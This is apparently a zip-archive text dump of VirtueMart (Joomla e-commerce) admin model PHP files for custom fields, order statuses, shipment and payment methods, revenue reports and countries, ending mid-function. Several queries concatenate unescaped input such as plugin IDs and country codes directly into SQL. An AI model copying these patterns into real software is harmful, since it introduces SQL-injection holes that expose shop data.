$tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['custom_jplugin_id'].'"'; $this->_db->setQuery($q); $data['custom_element'] = $this->_db->loadResult(); // vmdebug('store custom',$data); $table = $this->getTable('customs'); if(isset($data['custom_jplugin_id'])){ vmdebug('$data store custom',$data); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsCustom',array($data['custom_value'],$data['custom_jplugin_id'],&$table)); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsCustom',array($data['custom_element'],$data['custom_jplugin_id'],&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError($error); } } JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmOnStoreInstallPluginTable', array('custom' , $data, $data['custom_element'])); return $table->virtuemart_custom_id ; } /** * Delete all record ids selected * * @author Max Milbers * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); $customfields = $this->getTable ('product_customfields'); foreach($ids as $id) { if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } else { //Delete this customfield also in all product_customfield tables if (!$customfields->delete ($id, 'virtuemart_custom_id')) { vmError ('Custom delete Productcustomfield delete ' . $customfields->getError ()); $ok = FALSE; } } } return true; } } // pure php no closing tag PKB\Xmodels/orderstatus.phpnuW+AsetMainTable('orderstates'); } function getVMCoreStatusCode(){ return array( 'P','S'); } /** * Retrieve a list of order statuses from the database. * * @return object List of order status objects */ function getOrderStatusList() { if (JRequest::getWord('view') !== 'orderstatus') $ordering = ' order by `ordering` '; else $ordering = $this->_getOrdering(); $this->_noLimit=true; $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_orderstates`','','',$ordering); // vmdebug('order data',$this->_data); return $this->_data ; } /** * Return the order status names * * @author Kohl Patrick * @access public * * @param char $_code Order status code * @return string The name of the order status */ public function getOrderStatusNames () { $q = 'SELECT `order_status_name`,`order_status_code` FROM `#__virtuemart_orderstates` order by `ordering` '; $this->_db->setQuery($q); return $this->_db->loadAssocList('order_status_code'); } function renderOSList($value,$name = 'order_status',$multiple=FALSE,$attrs='',$langkey='' ){ $idA = $id = $name; $attrs .= ' class="inputbox" '; if ($multiple) { $attrs .= ' multiple="multiple" '; if(empty($langkey)) $langkey = 'COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS'; $attrs .= ' data-placeholder="'.JText::_($langkey).'"'; $idA .= '[]'; } else { if(empty($langkey)) $langkey = 'COM_VIRTUEMART_LIST_EMPTY_OPTION'; } if(is_array($value)){ $hashValue = implode($value); } else { $hashValue = $value; } $hash = md5($hashValue.$name.$attrs); if (!isset($this->_renderStatusList[$hash])) { $orderStates = $this->getOrderStatusNames(); $emptyOption = JHTML::_ ('select.option', -1, JText::_ ($langkey), 'order_status_code', 'order_status_name'); array_unshift ($orderStates, $emptyOption); if ($multiple) { $attrs .=' size="'.count($orderStates).'" '; } $this->_renderStatusList[$hash] = JHTML::_('select.genericlist', $orderStates, $idA, $attrs, 'order_status_code', 'order_status_name', $value,$id,true); } return $this->_renderStatusList[$hash] ; } function renderOrderStatusList($value, $name = 'order_status[]' ) { $id = substr($name,0,-2); return $this->renderOSList($value,$id,TRUE); } } //No Closing tag PKB\)models/.htaccessnuW+A Order allow,deny Deny from all PKB\$Xq!!models/shipmentmethod.phpnuW+AsetMainTable('shipmentmethods'); $this->_selectedOrdering = 'ordering'; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getShipment() { if (empty($this->_data[$this->_id])) { $this->_data[$this->_id] = $this->getTable('shipmentmethods'); $this->_data[$this->_id]->load((int)$this->_id); if(empty($this->_data[$this->_id]->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data[$this->_id]->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor();; } if($this->_data[$this->_id]->shipment_jplugin_id){ JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsShipment',array($this->_data[$this->_id]->shipment_element,$this->_data[$this->_id]->shipment_jplugin_id,&$this->_data[$this->_id])); } if($this->_data[$this->_id]->getCryptedFields()){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->_data[$this->_id]->modified_on)){ $date = JFactory::getDate($this->_data[$this->_id]->modified_on); $date = $date->toUnix(); } else { $date = 0; } foreach($this->_data[$this->_id]->getCryptedFields() as $field){ if(isset($this->_data[$this->_id]->$field)){ $this->_data[$this->_id]->$field = vmCrypt::decrypt($this->_data[$this->_id]->$field,$date); } } } // vmdebug('$$this->_data getShipment',$this->_data); //if(!empty($this->_id)){ /* Add the shipmentcarreir shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shipmentmethod_shoppergroups WHERE `virtuemart_shipmentmethod_id` = "'.$this->_id.'"'; $this->_db->setQuery($q); $this->_data[$this->_id]->virtuemart_shoppergroup_ids = $this->_db->loadResultArray();# if(empty($this->_data[$this->_id]->virtuemart_shoppergroup_ids)) $this->_data[$this->_id]->virtuemart_shoppergroup_ids = 0; //} } return $this->_data[$this->_id]; } /** * Retireve a list of shipment from the database. * * @author RickG * @return object List of shipment objects */ public function getShipments() { if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $query = ' `#__virtuemart_shipmentmethods`.* , `'.$table.'`.`name` as shipmentmethod_name FROM `#__virtuemart_shipmentmethods` '; $query .= 'JOIN `'.$table.'` ON `'.$table.'`.`'.$ext_id.'` = `#__virtuemart_shipmentmethods`.`shipment_jplugin_id` '; $whereString = ''; $select = ' * FROM `#__virtuemart_shipmentmethods_'.VMLANG.'` as l '; $joinedTables = ' JOIN `#__virtuemart_shipmentmethods` USING (`virtuemart_shipmentmethod_id`) '; $this->_data =$this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,' ',$this->_getOrdering() ); //$this->_data = $this->exeSortSearchListQuery(0,'',$query,$whereString,'',$this->_getOrdering('ordering')); if(isset($this->_data)){ if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Add the shipment shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shipmentmethod_shoppergroups WHERE `virtuemart_shipmentmethod_id` = "'.$data->virtuemart_shipmentmethod_id.'"'; $this->_db->setQuery($q); $data->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); /* Write the first 5 shoppergroups in the list */ $data->shipmentShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_shipmentmethod_shoppergroups','virtuemart_shipmentmethod_id',$data->virtuemart_shipmentmethod_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,0); } } return $this->_data; } /** * Bind the post data to the shipment tables and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { if(is_object($data)){ $data = (array)$data; } if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } $table = $this->getTable('shipmentmethods'); if(isset($data['shipment_jplugin_id'])){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['shipment_jplugin_id'].'"'; $db = JFactory::getDbo(); $db->setQuery($q); $data['shipment_element'] = $db->loadResult(); $q = 'UPDATE `' . $tb . '` SET `enabled`= 1 WHERE `' . $ext_id . '` = "'.$data['shipment_jplugin_id'].'"'; $this->_db->setQuery($q); $this->_db->query(); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); //bad trigger, we should just give it data, so that the plugins itself can check the data to be stored //so this trigger is now deprecated and will be deleted in vm3 $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsShipment',array( $data['shipment_element'],$data['shipment_jplugin_id'],&$table)); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginShipment',array( &$data,&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } $xrefTable = $this->getTable('shipmentmethod_shoppergroups'); $xrefTable->bindChecknStore($data); $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError($error); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnStoreInstallShipmentPluginTable', array( $data['shipment_jplugin_id'])); return $table->virtuemart_shipmentmethod_id; } /** * Creates a clone of a given shipmentmethod id * * @author Valérie Isaksen * @param int $virtuemart_shipmentmethod_id */ public function createClone ($id) { $this->setId ($id); $shipment = $this->getShipment (); $shipment->virtuemart_shipmentmethod_id = 0; $shipment->shipment_name = $shipment->shipment_name.' Copy'; if (!$clone = $this->store($shipment)) { vmError( 'createClone '. $shipment->getError() ); } return $clone; } } //no closing tag PKB\A|9|9models/report.phpnuW+AsetMainTable ('orders'); $this->setDatePresets (); $app = JFactory::getApplication (); $this->period = $app->getUserStateFromRequest ('com_virtuemart.revenue.period', 'period', 'last30', 'string'); //$post = JRequest::get ('post'); //vmdebug ('$post ', $post); if (empty($this->period) or $this->period != 'none') { $this->setPeriodByPreset (); } else { $this->setPeriod (); } $this->removevalidOrderingFieldName ('virtuemart_order_id'); $this->addvalidOrderingFieldName (array('product_quantity', 'o.virtuemart_order_id')); $this->_selectedOrdering = 'created_on'; } function correctTimeOffset(&$inputDate){ $config = JFactory::getConfig(); $this->siteOffset = $config->getValue('config.offset'); $date = new JDate($inputDate); $date->setTimezone($this->siteTimezone); $inputDate = $date->format('Y-m-d H:i:s',true); } /* * Set Start & end Date */ function setPeriod () { $this->from_period = JRequest::getVar ('from_period', $this->date_presets['last30']['from']); $this->until_period = JRequest::getVar ('until_period', $this->date_presets['last30']['until']); $config = JFactory::getConfig(); $siteOffset = $config->getValue('config.offset'); $this->siteTimezone = new DateTimeZone($siteOffset); $this->correctTimeOffset($this->from_period); $this->correctTimeOffset($this->until_period); } /* * Set Start & end Date if Var peroid */ function setPeriodByPreset () { $this->from_period = $this->date_presets[$this->period]['from']; $this->until_period = $this->date_presets[$this->period]['until']; $config = JFactory::getConfig(); $siteOffset = $config->getValue('config.offset'); $this->siteTimezone = new DateTimeZone($siteOffset); $this->correctTimeOffset($this->from_period); $this->correctTimeOffset($this->until_period); } function getItemsByRevenue ($revenue) { $q = 'select SUM(`product_quantity`) as product_quantity from `#__virtuemart_order_items` as i LEFT JOIN #__virtuemart_orders as o ON o.virtuemart_order_id=i.virtuemart_order_id ' . $this->whereItem . ' CAST(' . $this->intervals . ' AS DATE) = CAST("' . $revenue['intervals'] . '" AS DATE) '; $this->_db->setQuery ($q); //echo $this->_db->_sql; return $this->_db->loadResult (); } function getRevenueSortListOrderQuery ($sold = FALSE, $items = FALSE) { $selectFields = array(); $mainTable = ''; $joinTables = array(); $joinedTables = ''; $where = array(); // group always by intervals (day,week, ... or ID) and set grouping and defaut ordering $intervals = JRequest::getWord ('intervals', 'day'); switch ($intervals) { case 'day': $this->intervals = 'DATE( o.created_on )'; break; case 'week': $this->intervals = 'WEEK( o.created_on )'; break; case 'month': $this->intervals = 'MONTH( o.created_on )'; break; case 'year': $this->intervals = 'YEAR( o.created_on )'; break; default: // invidual grouping $this->intervals = 'o.created_on'; break; } // if(!empty($this->intervals)){ // $orderBy = $this->_getOrdering('o.`created_on`'); // } $selectFields['intervals'] = $this->intervals . ' AS intervals, CAST( o.`created_on` AS DATE ) AS created_on'; vmdebug('getRevenueSortListOrderQuery '.$intervals); if($intervals=='product_s'){ $selectFields[] = '`order_item_name`'; $selectFields[] = '`virtuemart_product_id`'; $groupBy = 'GROUP BY `virtuemart_product_id` '; } else { $groupBy = 'GROUP BY intervals '; } //$selectFields[] = 'COUNT(virtuemart_order_id) as number_of_orders'; //with tax => brutto //$selectFields[] = 'SUM(product_subtotal_with_tax) as order_total'; //without tax => netto //$selectFields[] = 'SUM(product_item_price) as order_subtotal'; $selectFields[] = 'SUM(product_discountedPriceWithoutTax * product_quantity) as order_subtotal_netto'; $selectFields[] = 'SUM(product_subtotal_with_tax) as order_subtotal_brutto'; $this->dates = ' DATE( o.created_on ) BETWEEN "' . $this->from_period . '" AND "' . $this->until_period . '" '; $statusList = array(); // Filter by statut if ($orderstates = JRequest::getVar ('order_status_code', array('C,S'))) { $query = 'SELECT `order_status_code` FROM `#__virtuemart_orderstates` WHERE published=1 '; $this->_db->setQuery ($query); $list = $this->_db->loadResultArray (); foreach ($orderstates as $val) { if (in_array ($val, $list)) { $statusList[] = '`i`.`order_status` = "' . $val . '"'; } } if ($statusList) { $where[] = '(' . implode (' OR ', $statusList) . ')'; } } //getRevenue // select wich table to order sum ordered $filterorders = JRequest::getvar ('filter_order', 'intervals'); $orderdir = (JRequest::getWord ('filter_order_Dir', NULL) == 'desc') ? 'desc' : ''; switch ($filterorders) { case 'o.virtuemart_order_id': $orderBy = ' ORDER BY count_order_id ' . $orderdir; $groupBy = 'GROUP BY intervals '; break; case 'product_quantity' : // GROUP BY product_quantity, intervals // ORDER BY `product_quantity` ASC // TODO grouping and ordering $orderBy = ' ORDER BY product_quantity ' . $orderdir; $groupBy = 'GROUP BY intervals '; //$selectFields['intervals'] = $this->intervals.' AS intervals, i.`created_on` '; break; case 'o.order_subtotal' : $orderBy = ' ORDER BY order_subtotal'; break; //getOrderItemsSumGrouped($this->intervals , $filterorders); break; default: // invidual grouping $orderBy = $this->_getOrdering (); vmdebug ('default case', $orderBy); //$this->intervals= '`o`.`created_on`'; // $orderBy = ' ORDER BY '.$filterorders.' '.$orderdir; break; } $selectFields[] = 'COUNT(DISTINCT o.virtuemart_order_id) as count_order_id'; $selectFields[] = 'SUM(product_quantity) as product_quantity'; $mainTable = '`#__virtuemart_order_items` as i'; $joinTables['orders'] = ' LEFT JOIN `#__virtuemart_orders` as o ON o.virtuemart_order_id=i.virtuemart_order_id '; if (count ($selectFields) > 0) { $select = implode (', ', $selectFields) . ' FROM ' . $mainTable; //$selectFindRows = 'SELECT COUNT(*) FROM '.$mainTable; if (count ($joinTables) > 0) { foreach ($joinTables as $table) { $joinedTables .= $table; } } } else { vmError ('No select fields given in getRevenueSortListOrderQuery', 'No select fields given'); return FALSE; } $virtuemart_product_id = JRequest::getInt ('virtuemart_product_id', FALSE); if ($virtuemart_product_id) { $where[] = 'i.virtuemart_product_id = "' . $virtuemart_product_id . '" '; } if (VmConfig::get ('multix', 'none') != 'none') { $vendorId = JRequest::getInt ('virtuemart_vendor_id', 0); if ($vendorId != 0) { $where[] = 'i.virtuemart_vendor_id = "' . $vendorId . '" '; } } if (count ($where) > 0) { $this->whereItem = ' WHERE ' . implode (' AND ', $where) . ' AND '; } else { $this->whereItem = ' WHERE '; } // $this->whereItem; /* WHERE differences with orders and items from orders are only date periods and ordering */ $whereString = $this->whereItem . $this->dates; return $this->exeSortSearchListQuery (1, $select, $joinedTables, $whereString, $groupBy, $orderBy); } /** * Retrieve a list of report items from the database. * * @author Wicksj * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of order objects */ function getRevenue ($noLimit = FALSE) { return $this->getRevenueSortListOrderQuery (); } /** * Retrieve a list of report items from the database. * DONT know why this ???? Patrick Kohl * * @author Wicksj * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of order objects */ function getOrderItems ($noLimit = FALSE) { // $db = JFactory::getDBO(); $query = "SELECT `product_name`, `product_sku`, "; $query .= "i.created_on as order_date, "; $query .= "SUM(product_quantity) as product_quantity "; $query .= "FROM #__virtuemart_order_items i, #__virtuemart_orders o, #__virtuemart_products p "; $query .= "WHERE i.created_on BETWEEN '{$this->start_date} 00:00:00' AND '{$this->until_period} 23:59:59' "; $query .= "AND o.virtuemart_order_id=i.virtuemart_order_id "; $query .= "AND i.virtuemart_product_id=p.virtuemart_product_id "; $query .= "GROUP BY product_sku, product_name, order_date "; $query .= " ORDER BY order_date, product_name ASC"; if ($noLimit) { $this->_data = $this->_getList ($query); } else { $this->_data = $this->_getList ($query, $this->getState ('limitstart'), $this->getState ('limit')); } if (!$this->_total) { $this->_total = $this->_getListCount ($query); } return $this->_data; } public function setDatePresets () { if ($this->date_presets) { return $this->date_presets; } // set date presets $curDate = JFactory::getDate (); $curDate = $curDate->toUnix (); $curDate = mktime (0, 0, 0, date ('m', $curDate), date ('d', $curDate), date ('Y', $curDate)); $monday = (date ('w', $curDate) == 1) ? $curDate : strtotime ('last Monday', $curDate); $this->date_presets['last90'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST90'), 'from' => date ('Y-m-d', strtotime ('-89 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['last60'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST60'), 'from' => date ('Y-m-d', strtotime ('-59 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['last30'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST30'), 'from' => date ('Y-m-d', strtotime ('-29 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['today'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_TODAY'), 'from' => date ('Y-m-d', $curDate), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['this-week'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK'), 'from' => date ('Y-m-d', $monday), 'until' => date ('Y-m-d', strtotime ('+6 day', $monday))); $this->date_presets['this-month'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH'), 'from' => date ('Y-m-d', mktime (0, 0, 0, date ('n', $curDate), 1, date ('Y', $curDate))), 'until' => date ('Y-m-d', mktime (0, 0, 0, date ('n', $curDate) + 1, 0, date ('Y', $curDate)))); $this->date_presets['this-year'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR'), 'from' => date ('Y-m-d', mktime (0, 0, 0, 1, 1, date ('Y', $curDate))), 'until' => date ('Y-m-d', mktime (0, 0, 0, 12, 31, date ('Y', $curDate)))); } public function renderDateSelectList () { // simpledate select $select = ''; $options = array(JHTML::_ ('select.option', 'none', '- ' . JText::_ ('COM_VIRTUEMART_REPORT_SET_PERIOD') . ' -', 'text', 'value')); $app = JFactory::getApplication (); $select = $app->getUserStateFromRequest ('com_virtuemart.revenue.period', 'period', 'last30', 'string'); foreach ($this->date_presets as $name => $value) { $options[] = JHTML::_ ('select.option', $name, JText::_ ($value['name']), 'text', 'value'); } $listHTML = JHTML::_ ('select.genericlist', $options, 'period', 'size="7" class="inputbox" onchange="this.form.submit();" ', 'text', 'value', $select); //$listHTML = JHTML::_ ('select.genericlist', $options, 'period', 'size="7" class="inputbox" ', 'text', 'value', $select); return $listHTML; } public function renderIntervalsList () { $intervals = JRequest::getWord ('intervals', 'day'); $options = array(); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_PRODUCT_S'), 'product_s'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_ORDERS'), 'orders'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY'), 'day'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY'), 'week'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY'), 'month'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY'), 'year'); //$listHTML = JHTML::_ ('select.genericlist', $options, 'intervals', 'class="inputbox" onchange="this.form.submit();" size="5"', 'text', 'value', $intervals); $listHTML = JHTML::_ ('select.genericlist', $options, 'intervals', 'class="inputbox" size="6"', 'text', 'value', $intervals); return $listHTML; } public function updateOrderItems () { $q = 'UPDATE #__virtuemart_order_items SET `product_discountedPriceWithoutTax`=( (IF(product_final_price is NULL, 0.00,product_final_price) - IF(product_tax is NULL, 0.00,product_tax) )) WHERE `product_discountedPriceWithoutTax` IS NULL'; $this->_db = JFactory::getDBO(); $this->_db->setQuery($q); $this->_db->query(); } } PKB\}9ǐ&&models/paymentmethod.phpnuW+AsetMainTable('paymentmethods'); $this->_selectedOrdering = 'ordering'; } /** * Gets the virtuemart_paymentmethod_id with a plugin and vendorId * * @author Max Milbers */ public function getIdbyCodeAndVendorId($jpluginId,$vendorId=1){ if(!$jpluginId) return 0; $q = 'SELECT `virtuemart_paymentmethod_id` FROM #__virtuemart_paymentmethods WHERE `payment_jplugin_id` = "'.$jpluginId.'" AND `virtuemart_vendor_id` = "'.$vendorId.'" '; $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ public function getPayment(){ if (empty($this->_data[$this->_id])) { $this->_data[$this->_id] = $this->getTable('paymentmethods'); $this->_data[$this->_id]->load((int)$this->_id); if(empty($this->_data->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data[$this->_id]->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); } if($this->_data[$this->_id]->payment_jplugin_id){ JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsPayment',array($this->_data[$this->_id]->payment_element,$this->_data[$this->_id]->payment_jplugin_id,&$this->_data[$this->_id])); } if($this->_data[$this->_id]->getCryptedFields()){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->_data[$this->_id]->modified_on)){ $date = JFactory::getDate($this->_data[$this->_id]->modified_on); $date = $date->toUnix(); } else { $date = 0; } foreach($this->_data[$this->_id]->getCryptedFields() as $field){ if(isset($this->_data[$this->_id]->$field)){ $this->_data[$this->_id]->$field = vmCrypt::decrypt($this->_data[$this->_id]->$field,$date); } } } $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_paymentmethod_shoppergroups WHERE `virtuemart_paymentmethod_id` = "'.$this->_id.'"'; $this->_db->setQuery($q); $this->_data[$this->_id]->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); if(empty($this->_data[$this->_id]->virtuemart_shoppergroup_ids)) $this->_data[$this->_id]->virtuemart_shoppergroup_ids = 0; } return $this->_data[$this->_id]; } /** * Retireve a list of calculation rules from the database. * * @author Max Milbers * @param string $onlyPuiblished True to only retreive the publish Calculation rules, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of calculation rule objects */ public function getPayments($onlyPublished=false, $noLimit=false) { $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_paymentmethods`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $select = ' * FROM `#__virtuemart_paymentmethods_'.VMLANG.'` as l '; $joinedTables = ' JOIN `#__virtuemart_paymentmethods` USING (`virtuemart_paymentmethod_id`) '; $this->_data =$this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,' ',$this->_getOrdering() ); //$this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_paymentmethods`',$whereString,'',$this->_getOrdering('ordering')); if(isset($this->_data)){ if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Add the paymentmethod shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_paymentmethod_shoppergroups WHERE `virtuemart_paymentmethod_id` = "'.$data->virtuemart_paymentmethod_id.'"'; $this->_db->setQuery($q); $data->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); /* Write the first 5 shoppergroups in the list */ $data->paymShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_paymentmethod_shoppergroups','virtuemart_paymentmethod_id',$data->virtuemart_paymentmethod_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,0); } } return $this->_data; } /** * Bind the post data to the paymentmethod tables and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { if(is_object($data)){ $data = (array)$data; } if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } $table = $this->getTable('paymentmethods'); if(isset($data['payment_jplugin_id'])){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['payment_jplugin_id'].'"'; $this->_db->setQuery($q); $data['payment_element'] = $this->_db->loadResult(); $q = 'UPDATE `' . $tb . '` SET `enabled`= 1 WHERE `' . $ext_id . '` = "'.$data['payment_jplugin_id'].'"'; $this->_db->setQuery($q); $this->_db->query(); // special case moneybookers if ( strpos($data['payment_element'] , "moneybookers" ) !==false) { $q = 'UPDATE `#__extensions` SET `enabled`= 1 WHERE `element` ="moneybookers"'; $this->_db->setQuery($q); $this->_db->query(); } JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsPayment',array( $data['payment_element'],$data['payment_jplugin_id'],&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } $xrefTable = $this->getTable('paymentmethod_shoppergroups'); $xrefTable->bindChecknStore($data); $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError($error); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnStoreInstallPaymentPluginTable', array( $data['payment_jplugin_id'])); return $table->virtuemart_paymentmethod_id; } /** * Publish a field * * @author Max Milbers * */ /* public function published( $row, $i, $variable = 'published' ) { $imgY = 'tick.png'; $imgX = 'publish_x.png'; $img = $row->$variable ? $imgY : $imgX; $task = $row->$variable ? 'unpublish' : 'publish'; $alt = $row->$variable ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_UNPUBLISHED'); $action = $row->$variable ? JText::_('COM_VIRTUEMART_UNPUBLISH_ITEM') : JText::_('COM_VIRTUEMART_PUBLISH_ITEM'); $href = ' '. $alt .'' ; return $href; }*/ /** * Due the new plugin system this should be obsolete * function to render the payment plugin list * * @author Max Milbers * * @param radio list of creditcards * @return html */ public function renderPaymentList($selectedPaym=0,$selecedCC=0){ $payms = self::getPayments(false,true); $listHTML=''; foreach($payms as $item){ $checked=''; if($item->virtuemart_paymentmethod_id==$selectedPaym){ $checked='"checked"'; } $listHTML .= ''.$item->payment_name.'
    '; $listHTML .= '
    '; } return $listHTML; } /** * Creates a clone of a given shipmentmethod id * * @author Valérie Isaksen * @param int $virtuemart_shipmentmethod_id */ public function createClone ($id) { $this->setId ($id); $payment = $this->getPayment (); $payment->virtuemart_paymentmethod_id = 0; $payment->payment_name = $payment->payment_name.' Copy'; if (!$clone = $this->store($payment)) { vmError( 'createClone '. $payment->getError() ); } return $clone; } } PKB\ L- - models/country.phpnuW+AsetMainTable('countries'); array_unshift($this->_validOrderingFieldName,'country_name'); $this->_selectedOrdering = 'country_name'; $this->_selectedOrderingDir = 'ASC'; } /** * Retreive a country record given a country code. * * @author RickG * @param string $code Country code to lookup * @return object Country object from database */ function getCountryByCode($code) { $db = JFactory::getDBO(); $countryCodeLength = strlen($code); switch ($countryCodeLength) { case 2: $countryCodeFieldname = 'country_2_code'; break; case 3: $countryCodeFieldname = 'country_3_code'; break; default: return false; } $query = 'SELECT *'; $query .= ' FROM `#__virtuemart_countries`'; $query .= ' WHERE `' . $countryCodeFieldname . '` = "' . $code . '"'; $db->setQuery($query); return $db->loadObject(); } /** * Retrieve a list of countries from the database. * * @author RickG * @author Max Milbers * @param string $onlyPublished True to only retrieve the publish countries, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of country objects */ function getCountries($onlyPublished=true, 